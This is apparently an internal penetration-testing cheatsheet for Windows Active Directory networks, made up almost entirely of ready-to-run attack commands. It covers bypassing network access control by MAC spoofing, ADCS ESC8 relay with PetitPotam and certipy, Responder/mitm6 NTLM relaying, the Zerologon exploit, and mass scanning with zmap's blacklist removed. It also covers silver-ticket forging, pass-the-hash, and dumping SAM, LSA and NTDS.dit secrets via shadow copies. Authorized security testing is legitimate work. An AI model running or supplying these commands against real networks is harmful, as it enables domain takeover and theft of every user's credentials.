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Internal Penetration Testing

1. No network access

Wi-Fi

  • Crack WPA or crack/replay PEAP

For more details, see next cheatsheet : WiFi

NAC - MAC filtering

  1. Spoof mac, static ip, gateway ip, from any authorized device (e.g printer or voip phone), and disconnect it:
    macchanger -r eth0
    
  2. force your static IP to match the one that you spoofed the mac from :
    sudo ifconfig <static_ip>/24 && sudo ip route add default via <gateway_ip>
    

NAC - 802.1X


2. No account yet

Coerce (Null session)

wget https://gist.githubusercontent.com/zblurx/99fe1971562593fd1211931bdc979fbb/raw/dabb939a29a39a758e6852002066bac099368867/esc8fuzzer.py

then esc8fuzzer.py <cidr>

This will check if esc8 vulnerability is available or not

if yes, you can just create relay and steal pfx certificate

certipy relay -ca <AD-ADCS> -template 'Domaincontroller' after run

petitPotam.py -d <domain> <exegol-IP> <DC-IP> to get pfx then

certipy auth -pfx administrator.pfx -dc-ip <DC-IP>

export KRB5CCNAME=/workspace/administrator.ccache secretsdump -k -no-pass <domain>/'administrator$'@administrator.<domain>

It's also possible to make the relay using this command

ntlmrelayx.py -t http://<IP-ADCS>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

but you have to use gettgtpkinit.py -pfx-base64 ${cat cert.base64} '<domain>'/administrator$'@administrator.<domain> to have the TGT

Physical access

Boot from Kali Linux and dump creds

fdisk -l
mount /dev/<windows_disk> /mnt
cd /mnt/Windows/system32/Config
impacket-secretsdump -system SYSTEM -sam SAM -security SECURITY -local

For more details, see next cheatsheet : Windows Post Exploitation


Network Access

Get-DC-IP

nslookup -type=ANY _ldap._tcp.dc._msdcs.<DOMAIN>
nslookup gc._msdcs.<DOMAIN>

Man-In-The-Middle

Responder + NTLMrelayx

# 1. First we need to edit  responder.conf :
sudo vim /usr/share/responder/Responder.conf
    SMB = Off     # Turn this off
    HTTP = Off    # Turn this off

# 2. Then we create a list of targets :
## For small range
crackmapexec smb <targets> --gen-relay-list relaylistOutputFilename.txt
## For big range
nmap -T4 -Pn -p 445 --open -oA <outfile> <targets>
cat *.gnmap | grep -i "open/tcp" | cut -d " " -f2 | sort -u > perim_up_smb.txt
crackmapexec smb perim_up_smb.txt --gen-relay-list relaylistOutputFilename.txt

# 3. After we can run ntlmrelayx
impacket-ntlmrelayx -tf relaylistOutputFilename.txt -smb2support --output-file relayed-hash.txt

# 4. Finally, using another shell, we can run Responder
## Light
./Responder.py -I eth0 
## Medium (enable wpad, netbios domain and wredir suffix queries)
./Responder.py -I eth0 -dw
## Full (Force WPAD and ProxyAuth)
./Responder.py -I eth0 -dwFP

If limited to a Windows system, you can use Inveigh instead of Responder : - Inveigh

mitm6 + NTLMrelayx

sudo mitm6 -d <domain.fqdn> --ignore-nofqdn
impacket-ntlmrelayx -tf relaylistOutputFilename.txt -6 

# If no smb available, try ldap/ldaps/mssql : 
impacket-ntlmrelayx -t ldaps://<target> -l lootdir

ARP (use with caution !)

Bettercap
Cain.exe (& Abel)

Zerologon

zerologon-exploit '<DC-NAME>' '<DC-IP>'

secretsdump -just-dc -no-pass <MACHINE_ACCOUNT>\$@<DC-IP>

#Get hexpass of machine account
secretsdump -hashes :'<NT>' '<DOMAIN>'/'Administrator'@'<DC-IP>'

# Use hexpess to restore
zerologon-restore '<DOMAIN>'/'<MACHINE_ACCOUNT>'@'<DC-NAME>' -target-ip '<DC-IP>' -hexpass 'xxx'

Port and service scan

Hosts discovery from huge ranges

masscan on a single port

masscan -p 445 <cidr> --rate=10000 | cut -d ' ' -f 6 >> 445-open.txt

zmap on a single port (linux and windows)

sudo apt install zmap && sudo rm /etc/zmap/blacklist.conf && sudo touch /etc/zmap/blacklist.conf
sudo zmap -p22 10.0.0.0/8 192.168.0.0/16 -o zmap_linux.ips
sudo zmap -p445 10.0.0.0/8 192.168.0.0/16 -o zmap_windows.ips

masscan on identified ranges

cat zmap_*.ips |awk -F. '{print $1"."$2"."$3".0/24"}' |sort -u > masscan_targets.ips
masscan -iL masscan_targets.ips -p 21,22,23,80,443,445,5985,5986,8080,8443,5900 -oG masscan.grep

nmap on identified hosts

nmap -sV --version-all -Pn -sT --top-ports 3000  -iL masscan.grep -oA all_hosts
nmap --version-all -sV -sC -p- -oA allports <hosts>

Search for low hanging fruits (MS17 / default password TOMCAT VNC ... )

nmap -Pn -n -sSUV -n -vvv --reason -pT:137-139,445,U:137-139 --script=*ms17-010* -oA SMB_MS17 <hosts>
use auxiliary/scanner/smb/smb_ms17_010
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/http/tomcat_mgr_login
searchsploit <service_name>

For more details, see previous cheatsheet : External Penetration Testing


3. Unprivileged account only

Looking for coerced authentications

coerce list

esc1 => abuse of a template-based vulnerability
esc6 => abuse of vulnerability based on CA
esc4 => abuse of a generic write (ACL) based vulnerability
esc8 => relayx ntlm (attack can be played both with and without account)

How to list all coerce of target

git clone https://github.com/p0dalirius/Coercer.git
cd Coercer && make
./Coercer.py -d '<domain>' -u '<user>' -p '<password>' --listener <Pentester-IP> <target>


#OtherWay

rpcdump.py DC02.<domain.local> | grep -A 6 MS-RPRN
impacket-rpcdump <IP> | grep -A6 spool 

esc8

If you don't know the IP of ADCS serveur, please use certipy find <domain>/<user>:<password>@<DC-IP>

certipy relay -ca  <IP-ADCS> -template 'Domaincontroller'
OR
ntlmrelayx.py -t http://<IP-ADCS>/certsrv/certfnsh.asp --smb2support --adcs

And after 

PetitPotam -u '<user>' -p '<password>' -d <domain>  <exegol-IP> <IP-DC>

Now we have .pfx, we can use it to get ticket service and nt hashs of computer account

How to use pfx file

certipy auth -pfx certif.pfx -dc-ip <DC-IP> -username <user> -domain <domain>

This will give you .ccache file wich contain TGT and other certify will also show you a NT hash

If you want to use the TGT with crackmapexec you can do it like this :

export KRB5CCNAME=administrator.ccache; cme smb DC01.<domain> -u 'administrator' -d <domain> -k

but you'll not be local administrator, but you can be using these commands which use dcsync:

export KRB5CCNAME=/workspace/administrator.ccache
secretsdump -k -no-pass <domain>/'administrator$'@administrator.<domain>

In case of secretsdump isn't working, we recommend you to create silver ticket( which is available only on the pwned machine and the pwned service )

How to create silver ticket

# Find the SID domain
lookupsid.py -hashes 'LMhash:NThash' 'DOMAIN/DomainUser@DomainController' 0

# with an NT hash
python ticketer.py -nthash $NThash -domain-sid $DomainSID -domain $DOMAIN -spn $SPN $Username

you will get a service ticket, which allows you to root the machine then dump SAM and LSA ( also don't forget to use lsassy, you can have some good surprise)

Get a shell

For more details, see next cheatsheets : Shell and AV Bypass


Local Privilege Escalation

For more details, see next cheatsheet : Local Privilege Escalation Windows


Domain Escalation

For more details, see next cheatsheet : Domain Escalation


4. Local Admin account

Post-Exploitation

For more details, see next cheatsheet : Local Post Exploitation Windows

Pivoting

For more details, see next cheatsheet : Pivoting

Replay the secrets found

Kerberos ticket, LM/NTLM hash or cleartext password with CrackMapExec or lsassy

crackmapexec smb <host_file> -d <domain> -u <user>  -H <hash> --lsa
crackmapexec smb <host_file> -d <domain> -u <user>  -H <hash> --sam
lsassy <target> -d <domain> -u <user> -p <pass>

5. Domain admin account

Dump NDTS.dit from DC

# CrackMapExec using password
sudo crackmapexec smb <target> -u <domain_admin> -p '<pass>' --ntds

# CrackMapExec using kerberos ticket
export KRB5CCNAME=<user>.ccache 
sudo crackmapexec smb <target> --kerberos --ntds drsuapi

# Antivirus blocking default drsuapi method, try vss method instead
sudo crackmapexec smb <target> -u <domain_admin> -p '<pass>' --ntds vss

# dump krbgt hash only
impacket-secretsdump <domain>/<domain_admin>:'<pass>'@<target> -history -just-dc -just-user krbgt

Manual Dump

# 1) use any tool that can achieve command execution on remote target to make a shadow copy
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Windows\NTDS.dit.bak
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\SYSTEM.bak
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\Windows\SECURITY.bak
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Windows\SAM.bak

# 2) use any tool that can retrieve these 4 files 
smbmap -d <domain> -u <user> -p <pass> -H <target> --download-file 'C:\Windows\NTDS.dit.bak'
smbmap -d <domain> -u <user> -p <pass> -H <target> --download-file 'C:\Windows\SYSTEM.bak'
smbmap -d <domain> -u <user> -p <pass> -H <target> --download-file 'C:\Windows\SECURITY.bak'
smbmap -d <domain> -u <user> -p <pass> -H <target> --download-file 'C:\Windows\SAM.bak'

# 3) Locally parse theses files
impacket-secretsdump -ntds NTDS.dit.bak -system SYSTEM.bak -security SECURITY.bak -sam SAM.bak LOCAL